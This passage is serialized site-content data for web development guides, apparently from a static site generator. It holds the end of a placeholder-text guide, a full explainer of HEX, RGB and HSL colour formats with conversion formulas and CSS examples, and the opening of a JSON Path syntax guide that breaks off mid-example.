pages",[44,275903,275904],{},"Accessibility review of all text content",[11,275906,275908],{"id":275907},"common-mistakes-across-all-strategies","Common Mistakes Across All Strategies",[77,275910,275911,275917,275923,275929,275935],{},[44,275912,275913,275916],{},[47,275914,275915],{},"Treating placeholder as final"," — never ship Lorem Ipsum to production",[44,275918,275919,275922],{},[47,275920,275921],{},"Ignoring content length variance"," — test extremes in every text field",[44,275924,275925,275928],{},[47,275926,275927],{},"Skipping international testing"," — German text is ~30% longer than English",[44,275930,275931,275934],{},[47,275932,275933],{},"Forgetting empty states"," — what happens when there is no content?",[44,275936,275937,275940],{},[47,275938,275939],{},"No content ownership"," — someone must own the transition from placeholder to real",[11,275942,257800],{"id":257799},[41,275944,275945],{},[44,275946,275947,275949],{},[98,275948,6789],{"href":6788}," — Generate placeholder text with configurable length and format",{"title":141,"searchDepth":337,"depth":337,"links":275951},[275952,275953,275956,275959,275962,275963,275969,275970],{"id":275504,"depth":337,"text":275505},{"id":275591,"depth":337,"text":275592,"children":275954},[275955],{"id":275639,"depth":343,"text":275640},{"id":275649,"depth":337,"text":275650,"children":275957},[275958],{"id":275691,"depth":343,"text":275692},{"id":275737,"depth":337,"text":275738,"children":275960},[275961],{"id":275779,"depth":343,"text":275780},{"id":275792,"depth":337,"text":275793},{"id":275840,"depth":337,"text":275841,"children":275964},[275965,275966,275967,275968],{"id":275847,"depth":343,"text":275848},{"id":275862,"depth":343,"text":275863},{"id":275877,"depth":343,"text":275878},{"id":275892,"depth":343,"text":275893},{"id":275907,"depth":337,"text":275908},{"id":257799,"depth":337,"text":257800},"Compare Lorem Ipsum, domain-specific, semi-real, and AI-generated content strategies for design prototypes with practical examples.",{"immutable":363},{"title":275499,"description":275971},"guides\u002Fdesign-prototyping-text","IRqVBMEr6OXPFoBf8AJJ5l1NNxwDhM2JceCR9TUBHxs",{"id":275977,"title":30653,"body":275978,"date":257855,"description":276986,"extension":361,"meta":276987,"navigation":363,"path":30652,"readingTime":2524,"seo":276988,"stem":276989,"__hash__":276990},"guides\u002Fguides\u002Fhex-rgb-hsl-explained.md",{"type":8,"value":275979,"toc":276950},[275980,275984,275987,275990,275994,275997,276001,276004,276009,276012,276016,276099,276103,276132,276136,276158,276162,276165,276169,276198,276202,276205,276222,276225,276229,276255,276259,276279,276283,276286,276290,276316,276320,276382,276386,276402,276406,276432,276436,276455,276459,276462,276466,276476,276482,276487,276503,276507,276512,276518,276526,276530,276533,276606,276608,276612,276626,276630,276644,276648,276665,276669,276672,276857,276861,276864,276932,276934,276937,276940,276942,276947],[11,275981,275983],{"id":275982},"introduction-to-color-formats-in-web-design","Introduction to Color Formats in Web Design",[16,275985,275986],{},"When working with colors in web development, you'll encounter three primary color notation formats: HEX, RGB, and HSL. Each format represents colors differently and serves distinct purposes in modern web design. Understanding these formats is essential for any web developer or designer who wants precise control over their color palette.",[16,275988,275989],{},"Colors on the web are typically represented using the sRGB (standard Red Green Blue) color space, which can display approximately 16.7 million different colors. While this might seem limiting compared to modern display technologies, it remains the standard for web content and works consistently across all browsers and devices.",[11,275991,275993],{"id":275992},"hex-color-format","HEX Color Format",[16,275995,275996],{},"HEX (hexadecimal) is perhaps the most recognizable color format for web developers. It uses a base-16 numbering system to represent colors as a six-digit code preceded by a hash symbol (#).",[33,275998,276000],{"id":275999},"hex-syntax","HEX Syntax",[16,276002,276003],{},"A HEX color code consists of three pairs of hexadecimal digits:",[135,276005,276007],{"className":276006,"code":28719,"language":140},[138],[143,276008,28719],{"__ignoreMap":141},[16,276010,276011],{},"Each pair represents the intensity of red, green, and blue respectively, with values ranging from 00 to FF (0 to 255 in decimal).",[33,276013,276015],{"id":276014},"common-hex-examples","Common HEX Examples",[193,276017,276018,276029],{},[196,276019,276020],{},[199,276021,276022,276025,276027],{},[202,276023,276024],{},"HEX Code",[202,276026,4231],{},[202,276028,207],{},[211,276030,276031,276042,276053,276065,276076,276087],{},[199,276032,276033,276037,276039],{},[216,276034,276035],{},[143,276036,14644],{},[216,276038,4275],{},[216,276040,276041],{},"Maximum red, no green or blue",[199,276043,276044,276048,276050],{},[216,276045,276046],{},[143,276047,114491],{},[216,276049,4247],{},[216,276051,276052],{},"Maximum green, no red or blue",[199,276054,276055,276060,276062],{},[216,276056,276057],{},[143,276058,276059],{},"#0000FF",[216,276061,4289],{},[216,276063,276064],{},"Maximum blue, no red or green",[199,276066,276067,276071,276073],{},[216,276068,276069],{},[143,276070,3390],{},[216,276072,30083],{},[216,276074,276075],{},"Maximum of all three colors",[199,276077,276078,276082,276084],{},[216,276079,276080],{},[143,276081,4321],{},[216,276083,28541],{},[216,276085,276086],{},"No color intensity",[199,276088,276089,276094,276096],{},[216,276090,276091],{},[143,276092,276093],{},"#808080",[216,276095,155444],{},[216,276097,276098],{},"Equal mid-intensity values",[33,276100,276102],{"id":276101},"advantages-of-hex","Advantages of HEX",[41,276104,276105,276111,276116,276122],{},[44,276106,276107,276110],{},[47,276108,276109],{},"Compact notation",": Short and easy to copy-paste",[44,276112,276113,276115],{},[47,276114,273264],{},": Works in all browsers since the early days of the web",[44,276117,276118,276121],{},[47,276119,276120],{},"Familiar to developers",": Most web developers learn HEX first",[44,276123,276124,276127,276128,34247,276130,1525],{},[47,276125,276126],{},"Shorthand available",": Three-digit shorthand for some colors (e.g., ",[143,276129,28802],{},[143,276131,14644],{},[33,276133,276135],{"id":276134},"disadvantages-of-hex","Disadvantages of HEX",[41,276137,276138,276144,276150],{},[44,276139,276140,276143],{},[47,276141,276142],{},"Not intuitive",": Difficult to adjust brightness or saturation mentally",[44,276145,276146,276149],{},[47,276147,276148],{},"No direct relationship to color properties",": Hard to create variations of a color",[44,276151,276152,276155,276156,1525],{},[47,276153,276154],{},"Limited transparency support",": Requires separate alpha channel format (",[143,276157,5184],{},[11,276159,276161],{"id":276160},"rgb-color-format","RGB Color Format",[16,276163,276164],{},"RGB (Red, Green, Blue) represents colors by specifying the intensity of each primary color component. Unlike HEX, RGB uses decimal values from 0 to 255 for each channel.",[33,276166,276168],{"id":276167},"rgb-syntax","RGB Syntax",[135,276170,276172],{"className":1554,"code":276171,"language":1556,"meta":141,"style":141},"rgb(255, 0, 0)  \u002F* Pure red *\u002F\nrgb(0, 255, 0)  \u002F* Pure green *\u002F\nrgb(0, 0, 255)  \u002F* Pure blue *\u002F\n",[143,276173,276174,276182,276190],{"__ignoreMap":141},[1560,276175,276176,276179],{"class":1562,"line":1563},[1560,276177,276178],{"class":1570},"rgb(255, 0, 0)  ",[1560,276180,276181],{"class":1649},"\u002F* Pure red *\u002F\n",[1560,276183,276184,276187],{"class":1562,"line":337},[1560,276185,276186],{"class":1570},"rgb(0, 255, 0)  ",[1560,276188,276189],{"class":1649},"\u002F* Pure green *\u002F\n",[1560,276191,276192,276195],{"class":1562,"line":343},[1560,276193,276194],{"class":1570},"rgb(0, 0, 255)  ",[1560,276196,276197],{"class":1649},"\u002F* Pure blue *\u002F\n",[33,276199,276201],{"id":276200},"rgb-with-alpha-transparency","RGB with Alpha Transparency",[16,276203,276204],{},"Modern CSS also supports RGBA, which adds an alpha channel for transparency:",[135,276206,276208],{"className":1554,"code":276207,"language":1556,"meta":141,"style":141},"rgba(255, 0, 0, 0.5)  \u002F* Semi-transparent red *\u002F\n",[143,276209,276210],{"__ignoreMap":141},[1560,276211,276212,276215,276217,276219],{"class":1562,"line":1563},[1560,276213,276214],{"class":1570},"rgba(255, 0, 0, 0",[1560,276216,76701],{"class":1566},[1560,276218,10060],{"class":1570},[1560,276220,276221],{"class":1649},"\u002F* Semi-transparent red *\u002F\n",[16,276223,276224],{},"The alpha value ranges from 0 (completely transparent) to 1 (completely opaque).",[33,276226,276228],{"id":276227},"advantages-of-rgb","Advantages of RGB",[41,276230,276231,276237,276243,276249],{},[44,276232,276233,276236],{},[47,276234,276235],{},"Explicit channel values",": Clear what each number represents",[44,276238,276239,276242],{},[47,276240,276241],{},"Built-in transparency support",": RGBA handles alpha without separate format",[44,276244,276245,276248],{},[47,276246,276247],{},"Easy to generate programmatically",": Simple to work with in JavaScript",[44,276250,276251,276254],{},[47,276252,276253],{},"Familiar to programmers",": Similar to how computer screens actually work",[33,276256,276258],{"id":276257},"disadvantages-of-rgb","Disadvantages of RGB",[41,276260,276261,276267,276273],{},[44,276262,276263,276266],{},[47,276264,276265],{},"Verbose syntax",": More characters than HEX",[44,276268,276269,276272],{},[47,276270,276271],{},"Still not intuitive for design",": Adjusting hue or saturation requires changing multiple values",[44,276274,276275,276278],{},[47,276276,276277],{},"Less common in design tools",": Many designers prefer HSL for adjustments",[11,276280,276282],{"id":276281},"hsl-color-format","HSL Color Format",[16,276284,276285],{},"HSL (Hue, Saturation, Lightness) represents colors in a way that aligns more closely with human perception of color. It separates color properties into three distinct dimensions.",[33,276287,276289],{"id":276288},"hsl-syntax","HSL Syntax",[135,276291,276293],{"className":1554,"code":276292,"language":1556,"meta":141,"style":141},"hsl(0, 100%, 50%)    \u002F* Pure red *\u002F\nhsl(120, 100%, 50%)  \u002F* Pure green *\u002F\nhsl(240, 100%, 50%)  \u002F* Pure blue *\u002F\n",[143,276294,276295,276302,276309],{"__ignoreMap":141},[1560,276296,276297,276300],{"class":1562,"line":1563},[1560,276298,276299],{"class":1570},"hsl(0, 100%, 50%)    ",[1560,276301,276181],{"class":1649},[1560,276303,276304,276307],{"class":1562,"line":337},[1560,276305,276306],{"class":1570},"hsl(120, 100%, 50%)  ",[1560,276308,276189],{"class":1649},[1560,276310,276311,276314],{"class":1562,"line":343},[1560,276312,276313],{"class":1570},"hsl(240, 100%, 50%)  ",[1560,276315,276197],{"class":1649},[33,276317,276319],{"id":276318},"hsl-components-explained","HSL Components Explained",[77,276321,276322,276348,276365],{},[44,276323,276324,276327,276328],{},[47,276325,276326],{},"Hue (0-360)",": Represents the color type, measured in degrees on a color wheel",[41,276329,276330,276333,276336,276339,276342,276345],{},[44,276331,276332],{},"0° or 360° = Red",[44,276334,276335],{},"60° = Yellow",[44,276337,276338],{},"120° = Green",[44,276340,276341],{},"180° = Cyan",[44,276343,276344],{},"240° = Blue",[44,276346,276347],{},"300° = Magenta",[44,276349,276350,276353,276354],{},[47,276351,276352],{},"Saturation (0-100%)",": The intensity or purity of the color",[41,276355,276356,276359,276362],{},[44,276357,276358],{},"100% = Full color",[44,276360,276361],{},"50% = Muted color",[44,276363,276364],{},"0% = Gray (no color)",[44,276366,276367,276370,276371],{},[47,276368,276369],{},"Lightness (0-100%)",": How light or dark the color is",[41,276372,276373,276376,276379],{},[44,276374,276375],{},"100% = White",[44,276377,276378],{},"50% = Pure color",[44,276380,276381],{},"0% = Black",[33,276383,276385],{"id":276384},"hsl-with-alpha-transparency","HSL with Alpha Transparency",[135,276387,276389],{"className":1554,"code":276388,"language":1556,"meta":141,"style":141},"hsla(0, 100%, 50%, 0.5)  \u002F* Semi-transparent red *\u002F\n",[143,276390,276391],{"__ignoreMap":141},[1560,276392,276393,276396,276398,276400],{"class":1562,"line":1563},[1560,276394,276395],{"class":1570},"hsla(0, 100%, 50%, 0",[1560,276397,76701],{"class":1566},[1560,276399,10060],{"class":1570},[1560,276401,276221],{"class":1649},[33,276403,276405],{"id":276404},"advantages-of-hsl","Advantages of HSL",[41,276407,276408,276414,276420,276426],{},[44,276409,276410,276413],{},[47,276411,276412],{},"Intuitive for humans",": Matches how we perceive and describe colors",[44,276415,276416,276419],{},[47,276417,276418],{},"Easy color manipulation",": Adjust lightness to create lighter\u002Fdarker variants",[44,276421,276422,276425],{},[47,276423,276424],{},"Perfect for theming",": Simple to generate color palettes programmatically",[44,276427,276428,276431],{},[47,276429,276430],{},"Designer-friendly",": Aligns with color theory principles",[33,276433,276435],{"id":276434},"disadvantages-of-hsl","Disadvantages of HSL",[41,276437,276438,276444,276450],{},[44,276439,276440,276443],{},[47,276441,276442],{},"Newer format",": Not as universally known among developers",[44,276445,276446,276449],{},[47,276447,276448],{},"Less compact",": More verbose than HEX",[44,276451,276452,276454],{},[47,276453,76007],{},": Requires modern browsers (though now widely supported)",[11,276456,276458],{"id":276457},"color-format-conversion-formulas","Color Format Conversion Formulas",[16,276460,276461],{},"Understanding how to convert between formats is valuable when working with different tools and systems.",[33,276463,276465],{"id":276464},"hex-to-rgb-conversion","HEX to RGB Conversion",[77,276467,276468,276473],{},[44,276469,276470,276471],{},"Split the HEX code into three pairs: ",[143,276472,5136],{},[44,276474,276475],{},"Convert each pair from hexadecimal to decimal:",[135,276477,276480],{"className":276478,"code":276479,"language":140},[138],"R = parseInt(RR, 16)\nG = parseInt(GG, 16)\nB = parseInt(BB, 16)\n",[143,276481,276479],{"__ignoreMap":141},[16,276483,182849,276484],{},[143,276485,276486],{},"#FF8040",[41,276488,276489,276492,276495,276498],{},[44,276490,276491],{},"R = parseInt(\"FF\", 16) = 255",[44,276493,276494],{},"G = parseInt(\"80\", 16) = 128",[44,276496,276497],{},"B = parseInt(\"40\", 16) = 64",[44,276499,114846,276500],{},[143,276501,276502],{},"rgb(255, 128, 64)",[33,276504,276506],{"id":276505},"rgb-to-hex-conversion","RGB to HEX Conversion",[77,276508,276509],{},[44,276510,276511],{},"Convert each decimal value to two-digit hexadecimal:",[135,276513,276516],{"className":276514,"code":276515,"language":140},[138],"RR = R.toString(16).padStart(2, '0')\nGG = G.toString(16).padStart(2, '0')\nBB = B.toString(16).padStart(2, '0')\n",[143,276517,276515],{"__ignoreMap":141},[77,276519,276520],{"start":337},[44,276521,276522,276523],{},"Combine: ",[143,276524,276525],{},"#${RR}${GG}${BB}",[33,276527,276529],{"id":276528},"rgb-to-hsl-conversion","RGB to HSL Conversion",[16,276531,276532],{},"This conversion is more complex:",[77,276534,276535,276541,276547,276553,276570],{},[44,276536,276537,276538],{},"Normalize RGB values to 0-1 range: ",[143,276539,276540],{},"r = R\u002F255, g = G\u002F255, b = B\u002F255",[44,276542,276543,276544],{},"Find maximum and minimum: ",[143,276545,276546],{},"max = Math.max(r,g,b), min = Math.min(r,g,b)",[44,276548,276549,276550],{},"Calculate lightness: ",[143,276551,276552],{},"l = (max + min) \u002F 2",[44,276554,276555,276556],{},"Calculate saturation:\n",[41,276557,276558,276564],{},[44,276559,216696,276560,276563],{},[143,276561,276562],{},"max === min",": saturation = 0 (gray)",[44,276565,276566,276567],{},"Else: ",[143,276568,276569],{},"s = l \u003C 0.5 ? (max - min) \u002F (max + min) : (max - min) \u002F (2 - max - min)",[44,276571,276572,276573],{},"Calculate hue:\n",[41,276574,276575,276583,276591,276599],{},[44,276576,216696,276577,1663,276580],{},[143,276578,276579],{},"max === r",[143,276581,276582],{},"h = ((g - b) \u002F (max - min)) % 6",[44,276584,216696,276585,1663,276588],{},[143,276586,276587],{},"max === g",[143,276589,276590],{},"h = (b - r) \u002F (max - min) + 2",[44,276592,216696,276593,1663,276596],{},[143,276594,276595],{},"max === b",[143,276597,276598],{},"h = (r - g) \u002F (max - min) + 4",[44,276600,276601,276602,276605],{},"Convert to degrees: ",[143,276603,276604],{},"h *= 60",", ensure positive",[11,276607,29324],{"id":29323},[33,276609,276611],{"id":276610},"use-hex-when","Use HEX When:",[41,276613,276614,276617,276620,276623],{},[44,276615,276616],{},"Working with legacy codebases",[44,276618,276619],{},"Copying colors from design tools that export HEX",[44,276621,276622],{},"Needing compact color notation",[44,276624,276625],{},"Working with developers who prefer traditional formats",[33,276627,276629],{"id":276628},"use-rgb-when","Use RGB When:",[41,276631,276632,276635,276638,276641],{},[44,276633,276634],{},"Needing transparency (RGBA)",[44,276636,276637],{},"Generating colors dynamically with JavaScript",[44,276639,276640],{},"Working with APIs that return RGB values",[44,276642,276643],{},"Creating gradients programmatically",[33,276645,276647],{"id":276646},"use-hsl-when","Use HSL When:",[41,276649,276650,276653,276656,276659,276662],{},[44,276651,276652],{},"Building design systems and themes",[44,276654,276655],{},"Creating color variations (lighter\u002Fdarker shades)",[44,276657,276658],{},"Working with designers who think in hue\u002Fsaturation\u002Flightness",[44,276660,276661],{},"Need to adjust colors based on user preferences (dark mode, etc.)",[44,276663,276664],{},"Generating accessible color palettes with consistent lightness",[11,276666,276668],{"id":276667},"practical-css-examples","Practical CSS Examples",[16,276670,276671],{},"Here's how the same color looks in all three formats:",[135,276673,276675],{"className":1554,"code":276674,"language":1556,"meta":141,"style":141},"\u002F* All represent the same coral color *\u002F\n.element-hex { color: #FF7F50; }\n.element-rgb { color: rgb(255, 127, 80); }\n.element-hsl { color: hsl(16, 100%, 66%); }\n\n\u002F* Creating a color palette with HSL *\u002F\n.primary-light { color: hsl(200, 100%, 80%); }\n.primary-base  { color: hsl(200, 100%, 50%); }\n.primary-dark  { color: hsl(200, 100%, 30%); }\n",[143,276676,276677,276682,276697,276724,276755,276759,276764,276795,276826],{"__ignoreMap":141},[1560,276678,276679],{"class":1562,"line":1563},[1560,276680,276681],{"class":1649},"\u002F* All represent the same coral color *\u002F\n",[1560,276683,276684,276687,276689,276691,276693,276695],{"class":1562,"line":337},[1560,276685,276686],{"class":1566},".element-hex",[1560,276688,1658],{"class":1570},[1560,276690,12607],{"class":1576},[1560,276692,1663],{"class":1570},[1560,276694,30488],{"class":1576},[1560,276696,1673],{"class":1570},[1560,276698,276699,276702,276704,276706,276708,276710,276712,276714,276716,276718,276720,276722],{"class":1562,"line":343},[1560,276700,276701],{"class":1566},".element-rgb",[1560,276703,1658],{"class":1570},[1560,276705,12607],{"class":1576},[1560,276707,1663],{"class":1570},[1560,276709,30141],{"class":1576},[1560,276711,1688],{"class":1570},[1560,276713,5400],{"class":1576},[1560,276715,1459],{"class":1570},[1560,276717,114727],{"class":1576},[1560,276719,1459],{"class":1570},[1560,276721,5321],{"class":1576},[1560,276723,1697],{"class":1570},[1560,276725,276726,276729,276731,276733,276735,276737,276739,276741,276743,276745,276747,276749,276751,276753],{"class":1562,"line":365},[1560,276727,276728],{"class":1566},".element-hsl",[1560,276730,1658],{"class":1570},[1560,276732,12607],{"class":1576},[1560,276734,1663],{"class":1570},[1560,276736,50903],{"class":1576},[1560,276738,1688],{"class":1570},[1560,276740,10057],{"class":1576},[1560,276742,1459],{"class":1570},[1560,276744,18114],{"class":1576},[1560,276746,17990],{"class":1669},[1560,276748,1459],{"class":1570},[1560,276750,5308],{"class":1576},[1560,276752,17990],{"class":1669},[1560,276754,1697],{"class":1570},[1560,276756,276757],{"class":1562,"line":889},[1560,276758,1702],{"emptyLinePlaceholder":363},[1560,276760,276761],{"class":1562,"line":1710},[1560,276762,276763],{"class":1649},"\u002F* Creating a color palette with HSL *\u002F\n",[1560,276765,276766,276769,276771,276773,276775,276777,276779,276781,276783,276785,276787,276789,276791,276793],{"class":1562,"line":1717},[1560,276767,276768],{"class":1566},".primary-light",[1560,276770,1658],{"class":1570},[1560,276772,12607],{"class":1576},[1560,276774,1663],{"class":1570},[1560,276776,50903],{"class":1576},[1560,276778,1688],{"class":1570},[1560,276780,18101],{"class":1576},[1560,276782,1459],{"class":1570},[1560,276784,18114],{"class":1576},[1560,276786,17990],{"class":1669},[1560,276788,1459],{"class":1570},[1560,276790,5321],{"class":1576},[1560,276792,17990],{"class":1669},[1560,276794,1697],{"class":1570},[1560,276796,276797,276800,276802,276804,276806,276808,276810,276812,276814,276816,276818,276820,276822,276824],{"class":1562,"line":1747},[1560,276798,276799],{"class":1566},".primary-base",[1560,276801,36449],{"class":1570},[1560,276803,12607],{"class":1576},[1560,276805,1663],{"class":1570},[1560,276807,50903],{"class":1576},[1560,276809,1688],{"class":1570},[1560,276811,18101],{"class":1576},[1560,276813,1459],{"class":1570},[1560,276815,18114],{"class":1576},[1560,276817,17990],{"class":1669},[1560,276819,1459],{"class":1570},[1560,276821,18059],{"class":1576},[1560,276823,17990],{"class":1669},[1560,276825,1697],{"class":1570},[1560,276827,276828,276831,276833,276835,276837,276839,276841,276843,276845,276847,276849,276851,276853,276855],{"class":1562,"line":2507},[1560,276829,276830],{"class":1566},".primary-dark",[1560,276832,36449],{"class":1570},[1560,276834,12607],{"class":1576},[1560,276836,1663],{"class":1570},[1560,276838,50903],{"class":1576},[1560,276840,1688],{"class":1570},[1560,276842,18101],{"class":1576},[1560,276844,1459],{"class":1570},[1560,276846,18114],{"class":1576},[1560,276848,17990],{"class":1669},[1560,276850,1459],{"class":1570},[1560,276852,23995],{"class":1576},[1560,276854,17990],{"class":1669},[1560,276856,1697],{"class":1570},[11,276858,276860],{"id":276859},"modern-css-color-functions","Modern CSS Color Functions",[16,276862,276863],{},"CSS is evolving with new color functions:",[135,276865,276867],{"className":1554,"code":276866,"language":1556,"meta":141,"style":141},"\u002F* Relative color syntax (modern browsers) *\u002F\ncolor: hsl(from var(--primary) h s calc(l - 20%));\n\n\u002F* Modern color spaces *\u002F\ncolor: oklch(70% 0.15 120);  \u002F* Perceptually uniform *\u002F\ncolor: oklab(70% 0.15 -0.05);\ncolor: display-p3(1, 0.5, 0);  \u002F* Wide gamut *\u002F\n",[143,276868,276869,276874,276884,276888,276893,276906,276919],{"__ignoreMap":141},[1560,276870,276871],{"class":1562,"line":1563},[1560,276872,276873],{"class":1649},"\u002F* Relative color syntax (modern browsers) *\u002F\n",[1560,276875,276876,276879,276881],{"class":1562,"line":337},[1560,276877,276878],{"class":1570},"color: hsl(from var(--primary) h ",[1560,276880,18727],{"class":2484},[1560,276882,276883],{"class":1570}," calc(l - 20%));\n",[1560,276885,276886],{"class":1562,"line":343},[1560,276887,1702],{"emptyLinePlaceholder":363},[1560,276889,276890],{"class":1562,"line":365},[1560,276891,276892],{"class":1649},"\u002F* Modern color spaces *\u002F\n",[1560,276894,276895,276898,276900,276903],{"class":1562,"line":889},[1560,276896,276897],{"class":1570},"color: oklch(70% 0",[1560,276899,47593],{"class":1566},[1560,276901,276902],{"class":1570}," 120);  ",[1560,276904,276905],{"class":1649},"\u002F* Perceptually uniform *\u002F\n",[1560,276907,276908,276911,276913,276915,276917],{"class":1562,"line":1710},[1560,276909,276910],{"class":1570},"color: oklab(70% 0",[1560,276912,47593],{"class":1566},[1560,276914,26253],{"class":1570},[1560,276916,56448],{"class":1566},[1560,276918,1744],{"class":1570},[1560,276920,276921,276924,276926,276929],{"class":1562,"line":1717},[1560,276922,276923],{"class":1570},"color: display-p3(1, 0",[1560,276925,76701],{"class":1566},[1560,276927,276928],{"class":1570},", 0);  ",[1560,276930,276931],{"class":1649},"\u002F* Wide gamut *\u002F\n",[11,276933,2831],{"id":265315},[16,276935,276936],{},"While HEX remains the most common format due to its historical prevalence, HSL is increasingly popular for modern web development because it aligns with human color perception. RGB fills the gap for programmatic color manipulation. Understanding all three formats makes you a more versatile developer and allows you to choose the best tool for each specific task.",[16,276938,276939],{},"For most modern projects, consider using HSL for your design system and theme variables, RGB for dynamic color generation, and HEX for quick prototypes or when working with legacy code.",[11,276941,286],{"id":285},[16,276943,29979,276944,276946],{},[98,276945,18588],{"href":18587}," to convert colors between HEX, RGB, and HSL formats instantly.",[2043,276948,276949],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":276951},[276952,276953,276959,276965,276972,276977,276982,276983,276984,276985],{"id":275982,"depth":337,"text":275983},{"id":275992,"depth":337,"text":275993,"children":276954},[276955,276956,276957,276958],{"id":275999,"depth":343,"text":276000},{"id":276014,"depth":343,"text":276015},{"id":276101,"depth":343,"text":276102},{"id":276134,"depth":343,"text":276135},{"id":276160,"depth":337,"text":276161,"children":276960},[276961,276962,276963,276964],{"id":276167,"depth":343,"text":276168},{"id":276200,"depth":343,"text":276201},{"id":276227,"depth":343,"text":276228},{"id":276257,"depth":343,"text":276258},{"id":276281,"depth":337,"text":276282,"children":276966},[276967,276968,276969,276970,276971],{"id":276288,"depth":343,"text":276289},{"id":276318,"depth":343,"text":276319},{"id":276384,"depth":343,"text":276385},{"id":276404,"depth":343,"text":276405},{"id":276434,"depth":343,"text":276435},{"id":276457,"depth":337,"text":276458,"children":276973},[276974,276975,276976],{"id":276464,"depth":343,"text":276465},{"id":276505,"depth":343,"text":276506},{"id":276528,"depth":343,"text":276529},{"id":29323,"depth":337,"text":29324,"children":276978},[276979,276980,276981],{"id":276610,"depth":343,"text":276611},{"id":276628,"depth":343,"text":276629},{"id":276646,"depth":343,"text":276647},{"id":276667,"depth":337,"text":276668},{"id":276859,"depth":337,"text":276860},{"id":265315,"depth":337,"text":2831},{"id":285,"depth":337,"text":286},"Learn the differences between HEX, RGB, and HSL color formats. Understand conversion formulas, use cases, and when to use each format in web development.",{"immutable":363},{"title":30653,"description":276986},"guides\u002Fhex-rgb-hsl-explained","P0eMw6JlsUk5q2vJ3po0gtdQy5zfZLb_08Ox0Y0s79E",{"id":276992,"title":276993,"body":276994,"date":257855,"description":278596,"extension":361,"meta":278597,"navigation":363,"path":35387,"readingTime":2524,"seo":278598,"stem":278599,"__hash__":278600},"guides\u002Fguides\u002Fjson-path-syntax.md","JSON Path Syntax: Complete Guide with Examples",{"type":8,"value":276995,"toc":278561},[276996,277000,277003,277006,277010,277016,277022,277113,277155,277161,277166,277201,277207,277210,277246,277250,277253,277259,277277,277283,277348,277352,277356,277388,277392,277399,277464,277469,277512,277520,277523,277527,277577,277581,277648,277652,277792,277796,277834,277840,277843,277872,277877,277881,278014,278018,278023,278043,278048,278057,278059,278063,278216,278279,278283,278358,278408,278412,278448,278452,278455,278480,278494,278549,278551,278558],[11,276997,276999],{"id":276998},"what-is-json-path","What is JSON Path?",[16,277001,277002],{},"JSON Path is a query language for JSON, similar to how XPath is used for XML. It allows you to extract specific data from JSON documents using a concise, expressive syntax. Whether you're working with APIs, configuration files, or complex data structures, JSON Path helps you navigate and filter JSON data efficiently.",[16,277004,277005],{},"Originally proposed by Stefan Goessner in 2007, JSON Path has become a standard tool in many programming ecosystems. Libraries exist for JavaScript, Python, Java, PHP, and many other languages.",[11,277007,277009],{"id":277008},"basic-syntax-and-operators","Basic Syntax and Operators",[33,277011,277013,277014],{"id":277012},"the-root-element","The Root Element: ",[143,277015,11938],{},[16,277017,277018,277019,277021],{},"Every JSON Path expression starts with ",[143,277020,11938],{},", which represents the root of the JSON document.",[135,277023,277025],{"className":23484,"code":277024,"language":23486,"meta":141,"style":141},"{\n  \"store\": {\n    \"name\": \"Book Store\",\n    \"books\": [\n      {\"title\": \"Book A\", \"price\": 10},\n      {\"title\": \"Book B\", \"price\": 20}\n    ]\n  }\n}\n",[143,277026,277027,277031,277038,277049,277056,277080,277101,277105,277109],{"__ignoreMap":141},[1560,277028,277029],{"class":1562,"line":1563},[1560,277030,23493],{"class":1570},[1560,277032,277033,277036],{"class":1562,"line":337},[1560,277034,277035],{"class":1576},"  \"store\"",[1560,277037,37098],{"class":1570},[1560,277039,277040,277042,277044,277047],{"class":1562,"line":343},[1560,277041,37103],{"class":1576},[1560,277043,1663],{"class":1570},[1560,277045,277046],{"class":5634},"\"Book Store\"",[1560,277048,11943],{"class":1570},[1560,277050,277051,277054],{"class":1562,"line":365},[1560,277052,277053],{"class":1576},"    \"books\"",[1560,277055,82876],{"class":1570},[1560,277057,277058,277061,277064,277066,277069,277071,277073,277075,277077],{"class":1562,"line":889},[1560,277059,277060],{"class":1570},"      {",[1560,277062,277063],{"class":1576},"\"title\"",[1560,277065,1663],{"class":1570},[1560,277067,277068],{"class":5634},"\"Book A\"",[1560,277070,1459],{"class":1570},[1560,277072,84848],{"class":1576},[1560,277074,1663],{"class":1570},[1560,277076,36197],{"class":1576},[1560,277078,277079],{"class":1570},"},\n",[1560,277081,277082,277084,277086,277088,277091,277093,277095,277097,277099],{"class":1562,"line":1710},[1560,277083,277060],{"class":1570},[1560,277085,277063],{"class":1576},[1560,277087,1663],{"class":1570},[1560,277089,277090],{"class":5634},"\"Book B\"",[1560,277092,1459],{"class":1570},[1560,277094,84848],{"class":1576},[1560,277096,1663],{"class":1570},[1560,277098,12391],{"class":1576},[1560,277100,1585],{"class":1570},[1560,277102,277103],{"class":1562,"line":1717},[1560,277104,50049],{"class":1570},[1560,277106,277107],{"class":1562,"line":1747},[1560,277108,4959],{"class":1570},[1560,277110,277111],{"class":1562,"line":2507},[1560,277112,1585],{"class":1570},[135,277114,277116],{"className":1607,"code":277115,"language":1609,"meta":141,"style":141},"\u002F\u002F JSON Path expression\n$.store.name  \u002F\u002F Returns: \"Book Store\"\n\n\u002F\u002F JavaScript equivalent using lodash\n_.get(data, 